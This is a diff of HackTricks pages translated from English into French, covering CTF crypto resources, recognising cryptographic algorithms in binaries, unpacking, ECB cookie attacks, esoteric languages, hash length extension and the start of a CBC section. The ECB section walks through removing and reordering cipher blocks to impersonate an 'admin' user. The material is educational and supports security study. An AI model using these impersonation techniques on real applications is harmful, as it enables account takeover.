- [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
- [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
## Strong Crypto
## Crypto Fort
### Fernet
2 base64 strings (token and key)
2 chaînes base64 (token et clé)
```
Token:
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
@ -272,27 +243,24 @@ gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmC
Key:
-s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
```
- [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
### Samir Secret Sharing
A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_).
### Partage secret de Samir
Un secret est divisé en X parties et pour le récupérer, vous avez besoin de Y parties (_Y <=X_).
```
8019f8fa5879aa3e07858d08308dc1a8b45
80223035713295bddf0b0bd1b10a5340b89
803bc8cf294b3f83d88e86d9818792e80cd
```
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
### OpenSSL brute-force
### Brute-force OpenSSL
- [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
- [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)
## Tools
## Outils
- [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
- [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)

View File

@ -1,184 +1,184 @@
# Cryptographic/Compression Algorithms
# Algorithmes Cryptographiques/Compression
## Cryptographic/Compression Algorithms
## Algorithmes Cryptographiques/Compression
{{#include ../../banners/hacktricks-training.md}}
## Identifying Algorithms
## Identification des Algorithmes
If you ends in a code **using shift rights and lefts, xors and several arithmetic operations** it's highly possible that it's the implementation of a **cryptographic algorithm**. Here it's going to be showed some ways to **identify the algorithm that it's used without needing to reverse each step**.
Si vous terminez par un code **utilisant des décalages à droite et à gauche, des xors et plusieurs opérations arithmétiques**, il est très probable qu'il s'agisse de l'implémentation d'un **algorithme cryptographique**. Voici quelques façons de **identifier l'algorithme utilisé sans avoir besoin de revenir sur chaque étape**.
### API functions
### Fonctions API
**CryptDeriveKey**
If this function is used, you can find which **algorithm is being used** checking the value of the second parameter:
Si cette fonction est utilisée, vous pouvez trouver quel **algorithme est utilisé** en vérifiant la valeur du deuxième paramètre :
![](<../../images/image (156).png>)
Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
Consultez ici le tableau des algorithmes possibles et leurs valeurs assignées : [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
**RtlCompressBuffer/RtlDecompressBuffer**
Compresses and decompresses a given buffer of data.
Compresse et décompresse un tampon de données donné.
**CryptAcquireContext**
From [the docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): The **CryptAcquireContext** function is used to acquire a handle to a particular key container within a particular cryptographic service provider (CSP). **This returned handle is used in calls to CryptoAPI** functions that use the selected CSP.
D'après [la documentation](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta) : La fonction **CryptAcquireContext** est utilisée pour acquérir un handle à un conteneur de clés particulier au sein d'un fournisseur de services cryptographiques (CSP) particulier. **Ce handle retourné est utilisé dans les appels aux fonctions CryptoAPI** qui utilisent le CSP sélectionné.
**CryptCreateHash**
Initiates the hashing of a stream of data. If this function is used, you can find which **algorithm is being used** checking the value of the second parameter:
Initie le hachage d'un flux de données. Si cette fonction est utilisée, vous pouvez trouver quel **algorithme est utilisé** en vérifiant la valeur du deuxième paramètre :
![](<../../images/image (549).png>)
\
Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
Consultez ici le tableau des algorithmes possibles et leurs valeurs assignées : [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
### Code constants
### Constantes de code
Sometimes it's really easy to identify an algorithm thanks to the fact that it needs to use a special and unique value.
Parfois, il est vraiment facile d'identifier un algorithme grâce au fait qu'il doit utiliser une valeur spéciale et unique.
![](<../../images/image (833).png>)
If you search for the first constant in Google this is what you get:
Si vous recherchez la première constante sur Google, voici ce que vous obtenez :
![](<../../images/image (529).png>)
Therefore, you can assume that the decompiled function is a **sha256 calculator.**\
You can search any of the other constants and you will obtain (probably) the same result.
Par conséquent, vous pouvez supposer que la fonction décompilée est un **calculateur sha256.**\
Vous pouvez rechercher n'importe laquelle des autres constantes et vous obtiendrez (probablement) le même résultat.
### data info
### informations sur les données
If the code doesn't have any significant constant it may be **loading information from the .data section**.\
You can access that data, **group the first dword** and search for it in google as we have done in the section before:
Si le code n'a pas de constante significative, il peut être **en train de charger des informations à partir de la section .data**.\
Vous pouvez accéder à ces données, **grouper le premier dword** et les rechercher sur Google comme nous l'avons fait dans la section précédente :
![](<../../images/image (531).png>)
In this case, if you look for **0xA56363C6** you can find that it's related to the **tables of the AES algorithm**.
Dans ce cas, si vous recherchez **0xA56363C6**, vous pouvez trouver qu'il est lié aux **tables de l'algorithme AES**.
## RC4 **(Symmetric Crypt)**
## RC4 **(Cryptographie Symétrique)**
### Characteristics
### Caractéristiques
It's composed of 3 main parts:
Il est composé de 3 parties principales :
- **Initialization stage/**: Creates a **table of values from 0x00 to 0xFF** (256bytes in total, 0x100). This table is commonly call **Substitution Box** (or SBox).
- **Scrambling stage**: Will **loop through the table** crated before (loop of 0x100 iterations, again) creating modifying each value with **semi-random** bytes. In order to create this semi-random bytes, the RC4 **key is used**. RC4 **keys** can be **between 1 and 256 bytes in length**, however it is usually recommended that it is above 5 bytes. Commonly, RC4 keys are 16 bytes in length.
- **XOR stage**: Finally, the plain-text or cyphertext is **XORed with the values created before**. The function to encrypt and decrypt is the same. For this, a **loop through the created 256 bytes** will be performed as many times as necessary. This is usually recognized in a decompiled code with a **%256 (mod 256)**.
- **Phase d'initialisation/** : Crée une **table de valeurs de 0x00 à 0xFF** (256 octets au total, 0x100). Cette table est communément appelée **Boîte de Substitution** (ou SBox).
- **Phase de brouillage** : Va **parcourir la table** créée précédemment (boucle de 0x100 itérations, encore une fois) en modifiant chaque valeur avec des octets **semi-aléatoires**. Pour créer ces octets semi-aléatoires, la **clé RC4 est utilisée**. Les **clés RC4** peuvent avoir une **longueur comprise entre 1 et 256 octets**, cependant, il est généralement recommandé qu'elle soit supérieure à 5 octets. En général, les clés RC4 font 16 octets de long.
- **Phase XOR** : Enfin, le texte en clair ou le texte chiffré est **XORé avec les valeurs créées précédemment**. La fonction pour chiffrer et déchiffrer est la même. Pour cela, une **boucle à travers les 256 octets créés** sera effectuée autant de fois que nécessaire. Cela est généralement reconnu dans un code décompilé avec un **%256 (mod 256)**.
> [!NOTE]
> **In order to identify a RC4 in a disassembly/decompiled code you can check for 2 loops of size 0x100 (with the use of a key) and then a XOR of the input data with the 256 values created before in the 2 loops probably using a %256 (mod 256)**
> **Pour identifier un RC4 dans un code désassemblé/décompilé, vous pouvez vérifier 2 boucles de taille 0x100 (avec l'utilisation d'une clé) et ensuite un XOR des données d'entrée avec les 256 valeurs créées précédemment dans les 2 boucles probablement en utilisant un %256 (mod 256)**
### **Initialization stage/Substitution Box:** (Note the number 256 used as counter and how a 0 is written in each place of the 256 chars)
### **Phase d'initialisation/Boîte de Substitution :** (Notez le nombre 256 utilisé comme compteur et comment un 0 est écrit à chaque place des 256 caractères)
![](<../../images/image (584).png>)
### **Scrambling Stage:**
### **Phase de Brouillage :**
![](<../../images/image (835).png>)
### **XOR Stage:**
### **Phase XOR :**
![](<../../images/image (904).png>)
## **AES (Symmetric Crypt)**
## **AES (Cryptographie Symétrique)**
### **Characteristics**
### **Caractéristiques**
- Use of **substitution boxes and lookup tables**
- It's possible to **distinguish AES thanks to the use of specific lookup table values** (constants). _Note that the **constant** can be **stored** in the binary **or created**_ _**dynamically**._
- The **encryption key** must be **divisible** by **16** (usually 32B) and usually an **IV** of 16B is used.
- Utilisation de **boîtes de substitution et de tables de recherche**
- Il est possible de **distinguer AES grâce à l'utilisation de valeurs de tables de recherche spécifiques** (constantes). _Notez que la **constante** peut être **stockée** dans le binaire **ou créée** _ _**dynamiquement**._
- La **clé de chiffrement** doit être **divisible** par **16** (généralement 32B) et généralement un **IV** de 16B est utilisé.
### SBox constants
### Constantes SBox
![](<../../images/image (208).png>)
## Serpent **(Symmetric Crypt)**
## Serpent **(Cryptographie Symétrique)**
### Characteristics
### Caractéristiques
- It's rare to find some malware using it but there are examples (Ursnif)
- Simple to determine if an algorithm is Serpent or not based on it's length (extremely long function)
- Il est rare de trouver des malwares l'utilisant, mais il existe des exemples (Ursnif)
- Simple à déterminer si un algorithme est Serpent ou non en fonction de sa longueur (fonction extrêmement longue)
### Identifying
### Identification
In the following image notice how the constant **0x9E3779B9** is used (note that this constant is also used by other crypto algorithms like **TEA** -Tiny Encryption Algorithm).\
Also note the **size of the loop** (**132**) and the **number of XOR operations** in the **disassembly** instructions and in the **code** example:
Dans l'image suivante, remarquez comment la constante **0x9E3779B9** est utilisée (notez que cette constante est également utilisée par d'autres algorithmes cryptographiques comme **TEA** -Tiny Encryption Algorithm).\
Notez également la **taille de la boucle** (**132**) et le **nombre d'opérations XOR** dans les **instructions de désassemblage** et dans l'**exemple de code** :
![](<../../images/image (547).png>)
As it was mentioned before, this code can be visualized inside any decompiler as a **very long function** as there **aren't jumps** inside of it. The decompiled code can look like the following:
Comme mentionné précédemment, ce code peut être visualisé dans n'importe quel décompilateur comme une **très longue fonction** car il **n'y a pas de sauts** à l'intérieur. Le code décompilé peut ressembler à ceci :
![](<../../images/image (513).png>)
Therefore, it's possible to identify this algorithm checking the **magic number** and the **initial XORs**, seeing a **very long function** and **comparing** some **instructions** of the long function **with an implementation** (like the shift left by 7 and the rotate left by 22).
Par conséquent, il est possible d'identifier cet algorithme en vérifiant le **nombre magique** et les **XOR initiaux**, en voyant une **très longue fonction** et en **comparant** certaines **instructions** de la longue fonction **avec une implémentation** (comme le décalage à gauche de 7 et la rotation à gauche de 22).
## RSA **(Asymmetric Crypt)**
## RSA **(Cryptographie Asymétrique)**
### Characteristics
### Caractéristiques
- More complex than symmetric algorithms
- There are no constants! (custom implementation are difficult to determine)
- KANAL (a crypto analyzer) fails to show hints on RSA ad it relies on constants.
- Plus complexe que les algorithmes symétriques
- Il n'y a pas de constantes ! (les implémentations personnalisées sont difficiles à déterminer)
- KANAL (un analyseur crypto) ne parvient pas à montrer des indices sur RSA car il repose sur des constantes.
### Identifying by comparisons
### Identification par comparaisons
![](<../../images/image (1113).png>)
- In line 11 (left) there is a `+7) >> 3` which is the same as in line 35 (right): `+7) / 8`
- Line 12 (left) is checking if `modulus_len < 0x040` and in line 36 (right) it's checking if `inputLen+11 > modulusLen`
- À la ligne 11 (gauche), il y a un `+7) >> 3` qui est le même qu'à la ligne 35 (droite) : `+7) / 8`
- La ligne 12 (gauche) vérifie si `modulus_len < 0x040` et à la ligne 36 (droite), elle vérifie si `inputLen+11 > modulusLen`
## MD5 & SHA (hash)
## MD5 & SHA (hachage)
### Characteristics
### Caractéristiques
- 3 functions: Init, Update, Final
- Similar initialize functions
- 3 fonctions : Init, Update, Final
- Fonctions d'initialisation similaires
### Identify
### Identifier
**Init**
You can identify both of them checking the constants. Note that the sha_init has 1 constant that MD5 doesn't have:
Vous pouvez identifier les deux en vérifiant les constantes. Notez que le sha_init a 1 constante que MD5 n'a pas :
![](<../../images/image (406).png>)
**MD5 Transform**
**Transformation MD5**
Note the use of more constants
Notez l'utilisation de plus de constantes
![](<../../images/image (253) (1) (1).png>)
## CRC (hash)
## CRC (hachage)
- Smaller and more efficient as it's function is to find accidental changes in data
- Uses lookup tables (so you can identify constants)
- Plus petit et plus efficace car sa fonction est de trouver des changements accidentels dans les données
- Utilise des tables de recherche (vous pouvez donc identifier des constantes)
### Identify
### Identifier
Check **lookup table constants**:
Vérifiez les **constantes de la table de recherche** :
![](<../../images/image (508).png>)
A CRC hash algorithm looks like:
Un algorithme de hachage CRC ressemble à :
![](<../../images/image (391).png>)
## APLib (Compression)
### Characteristics
### Caractéristiques
- Not recognizable constants
- You can try to write the algorithm in python and search for similar things online
- Pas de constantes reconnaissables
- Vous pouvez essayer d'écrire l'algorithme en python et rechercher des choses similaires en ligne
### Identify
### Identifier
The graph is quiet large:
Le graphique est assez grand :
![](<../../images/image (207) (2) (1).png>)
Check **3 comparisons to recognise it**:
Vérifiez **3 comparaisons pour le reconnaître** :
![](<../../images/image (430).png>)

View File

@ -1,24 +1,24 @@
{{#include ../../banners/hacktricks-training.md}}
# Identifying packed binaries
# Identification des binaires empaquetés
- **lack of strings**: It's common to find that packed binaries doesn't have almost any string
- A lot of **unused strings**: Also, when a malware is using some kind of commercial packer it's common to find a lot of strings without cross-references. Even if these strings exist that doesn't mean that the binary isn't packed.
- You can also use some tools to try to find which packer was used to pack a binary:
- [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
- [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
- [Language 2000](http://farrokhi.net/language/)
- **manque de chaînes** : Il est courant de constater que les binaires empaquetés n'ont presque aucune chaîne.
- Beaucoup de **chaînes inutilisées** : De plus, lorsqu'un malware utilise un type de packer commercial, il est courant de trouver beaucoup de chaînes sans références croisées. Même si ces chaînes existent, cela ne signifie pas que le binaire n'est pas empaqueté.
- Vous pouvez également utiliser certains outils pour essayer de trouver quel packer a été utilisé pour empaqueter un binaire :
- [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
- [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
- [Language 2000](http://farrokhi.net/language/)
# Basic Recommendations
# Recommandations de base
- **Start** analysing the packed binary **from the bottom in IDA and move up**. Unpackers exit once the unpacked code exit so it's unlikely that the unpacker passes execution to the unpacked code at the start.
- Search for **JMP's** or **CALLs** to **registers** or **regions** of **memory**. Also search for **functions pushing arguments and an address direction and then calling `retn`**, because the return of the function in that case may call the address just pushed to the stack before calling it.
- Put a **breakpoint** on `VirtualAlloc` as this allocates space in memory where the program can write unpacked code. The "run to user code" or use F8 to **get to value inside EAX** after executing the function and "**follow that address in dump**". You never know if that is the region where the unpacked code is going to be saved.
- **`VirtualAlloc`** with the value "**40**" as an argument means Read+Write+Execute (some code that needs execution is going to be copied here).
- **While unpacking** code it's normal to find **several calls** to **arithmetic operations** and functions like **`memcopy`** or **`Virtual`**`Alloc`. If you find yourself in a function that apparently only perform arithmetic operations and maybe some `memcopy` , the recommendation is to try to **find the end of the function** (maybe a JMP or call to some register) **or** at least the **call to the last function** and run to then as the code isn't interesting.
- While unpacking code **note** whenever you **change memory region** as a memory region change may indicate the **starting of the unpacking code**. You can easily dump a memory region using Process Hacker (process --> properties --> memory).
- While trying to unpack code a good way to **know if you are already working with the unpacked code** (so you can just dump it) is to **check the strings of the binary**. If at some point you perform a jump (maybe changing the memory region) and you notice that **a lot more strings where added**, then you can know **you are working with the unpacked code**.\
However, if the packer already contains a lot of strings you can see how many strings contains the word "http" and see if this number increases.
- When you dump an executable from a region of memory you can fix some headers using [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases).
- **Commencez** à analyser le binaire empaqueté **par le bas dans IDA et remontez**. Les dépackers sortent une fois que le code dépacké sort, donc il est peu probable que le dépacker passe l'exécution au code dépacké au début.
- Recherchez des **JMP** ou des **CALL** vers des **registres** ou des **zones** de **mémoire**. Recherchez également des **fonctions poussant des arguments et une direction d'adresse puis appelant `retn`**, car le retour de la fonction dans ce cas peut appeler l'adresse juste poussée sur la pile avant de l'appeler.
- Mettez un **point d'arrêt** sur `VirtualAlloc` car cela alloue de l'espace en mémoire où le programme peut écrire du code dépacké. "Exécuter jusqu'au code utilisateur" ou utilisez F8 pour **obtenir la valeur à l'intérieur de EAX** après l'exécution de la fonction et "**suivez cette adresse dans le dump**". Vous ne savez jamais si c'est la région où le code dépacké va être sauvegardé.
- **`VirtualAlloc`** avec la valeur "**40**" comme argument signifie Lecture+Écriture+Exécution (certaines instructions nécessitant une exécution vont être copiées ici).
- **Lors du dépackaging** du code, il est normal de trouver **plusieurs appels** à des **opérations arithmétiques** et des fonctions comme **`memcopy`** ou **`Virtual`**`Alloc`. Si vous vous trouvez dans une fonction qui apparemment ne réalise que des opérations arithmétiques et peut-être quelques `memcopy`, la recommandation est d'essayer de **trouver la fin de la fonction** (peut-être un JMP ou un appel à un registre) **ou** au moins l'**appel à la dernière fonction** et d'exécuter jusqu'à là car le code n'est pas intéressant.
- Lors du dépackaging du code, **notez** chaque fois que vous **changez de région mémoire** car un changement de région mémoire peut indiquer le **début du code dépacké**. Vous pouvez facilement dumper une région mémoire en utilisant Process Hacker (processus --> propriétés --> mémoire).
- Lors de la tentative de dépackaging du code, une bonne façon de **savoir si vous travaillez déjà avec le code dépacké** (pour que vous puissiez simplement le dumper) est de **vérifier les chaînes du binaire**. Si à un moment donné vous effectuez un saut (peut-être en changeant la région mémoire) et que vous remarquez que **beaucoup plus de chaînes ont été ajoutées**, alors vous pouvez savoir **que vous travaillez avec le code dépacké**.\
Cependant, si le packer contient déjà beaucoup de chaînes, vous pouvez voir combien de chaînes contiennent le mot "http" et voir si ce nombre augmente.
- Lorsque vous dumpez un exécutable d'une région de mémoire, vous pouvez corriger certains en-têtes en utilisant [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,72 +2,66 @@
# ECB
(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key.
(ECB) Electronic Code Book - schéma de chiffrement symétrique qui **remplace chaque bloc du texte clair** par le **bloc de texte chiffré**. C'est le **schéma de chiffrement le plus simple**. L'idée principale est de **diviser** le texte clair en **blocs de N bits** (dépend de la taille du bloc de données d'entrée, de l'algorithme de chiffrement) et ensuite de chiffrer (déchiffrer) chaque bloc de texte clair en utilisant la seule clé.
![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png)
Using ECB has multiple security implications:
L'utilisation de l'ECB a plusieurs implications en matière de sécurité :
- **Blocks from encrypted message can be removed**
- **Blocks from encrypted message can be moved around**
- **Des blocs du message chiffré peuvent être supprimés**
- **Des blocs du message chiffré peuvent être déplacés**
# Detection of the vulnerability
# Détection de la vulnérabilité
Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`<username>|<password>`**.\
Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\
You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**.
Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`**
Imaginez que vous vous connectez à une application plusieurs fois et que vous **recevez toujours le même cookie**. C'est parce que le cookie de l'application est **`<username>|<password>`**.\
Ensuite, vous générez deux nouveaux utilisateurs, tous deux avec le **même mot de passe long** et **presque** le **même** **nom d'utilisateur**.\
Vous découvrez que les **blocs de 8B** où les **informations des deux utilisateurs** sont les mêmes sont **égaux**. Ensuite, vous imaginez que cela pourrait être parce que **l'ECB est utilisé**.
Comme dans l'exemple suivant. Observez comment ces **2 cookies décodés** ont plusieurs fois le bloc **`\x23U\xE45K\xCB\x21\xC8`**.
```
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
```
C'est parce que le **nom d'utilisateur et le mot de passe de ces cookies contenaient plusieurs fois la lettre "a"** (par exemple). Les **blocs** qui sont **différents** sont des blocs qui contenaient **au moins 1 caractère différent** (peut-être le délimiteur "|" ou une différence nécessaire dans le nom d'utilisateur).
This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username).
Maintenant, l'attaquant doit juste découvrir si le format est `<username><delimiter><password>` ou `<password><delimiter><username>`. Pour ce faire, il peut simplement **générer plusieurs noms d'utilisateur** avec des **noms d'utilisateur et mots de passe similaires et longs jusqu'à ce qu'il trouve le format et la longueur du délimiteur :**
Now, the attacker just need to discover if the format is `<username><delimiter><password>` or `<password><delimiter><username>`. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:**
| Longueur du nom d'utilisateur : | Longueur du mot de passe : | Longueur du nom d'utilisateur + mot de passe : | Longueur du cookie (après décodage) : |
| ------------------------------- | -------------------------- | ----------------------------------------------- | ------------------------------------- |
| 2 | 2 | 4 | 8 |
| 3 | 3 | 6 | 8 |
| 3 | 4 | 7 | 8 |
| 4 | 4 | 8 | 16 |
| 7 | 7 | 14 | 16 |
| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): |
| ---------------- | ---------------- | ------------------------- | --------------------------------- |
| 2 | 2 | 4 | 8 |
| 3 | 3 | 6 | 8 |
| 3 | 4 | 7 | 8 |
| 4 | 4 | 8 | 16 |
| 7 | 7 | 14 | 16 |
# Exploitation de la vulnérabilité
# Exploitation of the vulnerability
## Removing entire blocks
Knowing the format of the cookie (`<username>|<password>`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it:
## Suppression de blocs entiers
Sachant le format du cookie (`<username>|<password>`), afin d'usurper le nom d'utilisateur `admin`, créez un nouvel utilisateur appelé `aaaaaaaaadmin` et obtenez le cookie et décodez-le :
```
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\
Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`:
Nous pouvons voir le motif `\x23U\xE45K\xCB\x21\xC8` créé précédemment avec le nom d'utilisateur qui ne contenait que `a`.\
Ensuite, vous pouvez supprimer le premier bloc de 8B et vous obtiendrez un cookie valide pour le nom d'utilisateur `admin` :
```
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
## Déplacement des blocs
## Moving blocks
Dans de nombreuses bases de données, il est identique de rechercher `WHERE username='admin';` ou `WHERE username='admin ';` _(Notez les espaces supplémentaires)_
In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_
Ainsi, une autre façon d'usurper l'utilisateur `admin` serait de :
So, another way to impersonate the user `admin` would be to:
- Générer un nom d'utilisateur qui : `len(<username>) + len(<delimiter) % len(block)`. Avec une taille de bloc de `8B`, vous pouvez générer un nom d'utilisateur appelé : `username `, avec le délimiteur `|`, le morceau `<username><delimiter>` générera 2 blocs de 8Bs.
- Ensuite, générer un mot de passe qui remplira un nombre exact de blocs contenant le nom d'utilisateur que nous voulons usurper et des espaces, comme : `admin `
- Generate a username that: `len(<username>) + len(<delimiter) % len(block)`. With a block size of `8B` you can generate username called: `username `, with the delimiter `|` the chunk `<username><delimiter>` will generate 2 blocks of 8Bs.
- Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin `
Le cookie de cet utilisateur sera composé de 3 blocs : les 2 premiers sont les blocs du nom d'utilisateur + délimiteur et le troisième du mot de passe (qui simule le nom d'utilisateur) : `username |admin `
The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username |admin `
**Ensuite, il suffit de remplacer le premier bloc par le dernier et vous usurperez l'utilisateur `admin` : `admin |username`**
**Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`**
## References
## Références
- [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](<http://cryptowiki.net/index.php?title=Electronic_Code_Book_(ECB)>)

View File

@ -1,18 +1,16 @@
# Esoteric languages
# Langages ésotériques
{{#include ../banners/hacktricks-training.md}}
## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page)
Check that wiki to search more esotreic languages
Consultez ce wiki pour rechercher d'autres langages ésotériques
## Malbolge
```
('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=<M:9wv6WsU2T|nm-,jcL(I&%$#"
`CB]V?Tx<uVtT`Rpo3NlF.Jh++FdbCBA@?]!~|4XzyTT43Qsqq(Lnmkj"Fhg${z@>
```
[http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl)
## npiet
@ -22,7 +20,6 @@ Check that wiki to search more esotreic languages
[https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php)
## Rockstar
```
Midnight takes your heart and your soul
While your heart is as high as your soul
@ -51,11 +48,9 @@ Take it to the top
Whisper my world
```
{% embed url="https://codewithrockstar.com/" %}
## PETOOH
```
KoKoKoKoKoKoKoKoKoKo Kud-Kudah
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
@ -65,5 +60,4 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
Kukarek
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,37 +2,37 @@
{{#include ../banners/hacktricks-training.md}}
## Summary of the attack
## Résumé de l'attaque
Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know:
Imaginez un serveur qui **signe** des **données** en **ajoutant** un **secret** à des données en clair connues, puis en hachant ces données. Si vous savez :
- **The length of the secret** (this can be also bruteforced from a given length range)
- **The clear text data**
- **The algorithm (and it's vulnerable to this attack)**
- **The padding is known**
- Usually a default one is used, so if the other 3 requirements are met, this also is
- The padding vary depending on the length of the secret+data, that's why the length of the secret is needed
- **La longueur du secret** (cela peut également être bruteforced à partir d'une plage de longueurs donnée)
- **Les données en clair**
- **L'algorithme (et il est vulnérable à cette attaque)**
- **Le remplissage est connu**
- En général, un par défaut est utilisé, donc si les 3 autres exigences sont remplies, cela l'est aussi
- Le remplissage varie en fonction de la longueur du secret + données, c'est pourquoi la longueur du secret est nécessaire
Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previous data + appended data**.
Alors, il est possible pour un **attaquant** d'**ajouter** des **données** et de **générer** une **signature** valide pour les **données précédentes + données ajoutées**.
### How?
### Comment ?
Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**.
Fondamentalement, les algorithmes vulnérables génèrent les hachages en **hachant d'abord un bloc de données**, puis, **à partir** du **hachage** **précédemment** créé (état), ils **ajoutent le prochain bloc de données** et **le hachent**.
Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\
If an attacker wants to append the string "append" he can:
Ensuite, imaginez que le secret est "secret" et que les données sont "data", le MD5 de "secretdata" est 6036708eba0d11f6ef52ad44e8b74d5b.\
Si un attaquant veut ajouter la chaîne "append", il peut :
- Generate a MD5 of 64 "A"s
- Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b
- Append the string "append"
- Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"**
- Générer un MD5 de 64 "A"
- Changer l'état du hachage précédemment initialisé en 6036708eba0d11f6ef52ad44e8b74d5b
- Ajouter la chaîne "append"
- Terminer le hachage et le hachage résultant sera un **valide pour "secret" + "data" + "padding" + "append"**
### **Tool**
### **Outil**
{% embed url="https://github.com/iagox86/hash_extender" %}
### References
### Références
You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
Vous pouvez trouver cette attaque bien expliquée sur [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,26 +2,24 @@
{{#include ../banners/hacktricks-training.md}}
{% embed url="https://websec.nl/" %}
## CBC - Chaînage de Blocs de Chiffrement
## CBC - Cipher Block Chaining
In CBC mode the **previous encrypted block is used as IV** to XOR with the next block:
En mode CBC, le **bloc chiffré précédent est utilisé comme IV** pour XOR avec le bloc suivant :
![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png)
To decrypt CBC the **opposite** **operations** are done:
Pour déchiffrer en CBC, les **opérations** **opposées** sont effectuées :
